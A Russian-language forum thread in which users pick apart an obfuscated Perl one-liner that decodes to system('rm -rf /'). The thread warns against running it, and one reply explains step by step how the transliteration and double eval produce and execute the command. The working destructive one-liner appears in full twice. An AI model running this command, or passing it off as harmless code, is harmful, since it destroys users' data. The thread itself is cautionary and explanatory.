Perl script

[flook]

cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

это разворачивается в 'rm -rf /'
Так что не пускайте

Вопрос такой - перл я знаю плохо, а узнать каким образом эта последовательность скобочек разбирается в rm хочется

Перологуруы, подскажите

[Soloven]

Я бы сказал инече..... НЕ РАБОТАЙТЕ ПОД ROOT :dont:

[Mitya-ncc]

Найдётся у нас тут "just another perl hacker" какой-нибудь?
Я вот не понимаю как это работает...

[flook]

[madskull]

я тоже не понимаю. мало еще опыта. Вот в отпуске, если дадут, поковыряю

[Mitya-ncc]

На первый взгляд: "по моей клавиатуре ходила кошка" (с) не моё
и на второй тоже.

[madskull]

На первый взгляд: "по моей клавиатуре ходила кошка" (с) не моё
и на второй тоже.

↑

А если присмотреться в третий раз, то начинаешь разбираться и понимать... что ходила собака!

[Drew]

cat "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:-@[-`{-};`-{/" -;;s;;$_;see'

↑

Для зрительного восприятия:
мусор

Код: Выделить всё

cat "test... test... test..." |

Код: Выделить всё

$? ? s/;s/s;;$?/ : s//=]=>%-{<-|}<&|`{/;

реально выполняется вторая часть, которая работает так:

Код: Выделить всё

$_= "=]=>%-{<-|}<&|`{";

Затем мы меняем $_ следующим куском в system"rm -rf /"

Код: Выделить всё

y; -/:-@[-`{-};`-{/" -;;

И следующим куском его исполняем

Код: Выделить всё

s;;$_;see

Т.е. сухой остаток от того кода (без выполнения, конечно):

Код: Выделить всё

perl -e ' $_= "=]=>%-{<-|}<&|`{"; y/ -\/:-@[-`{-}/`-{\/" -/; print;'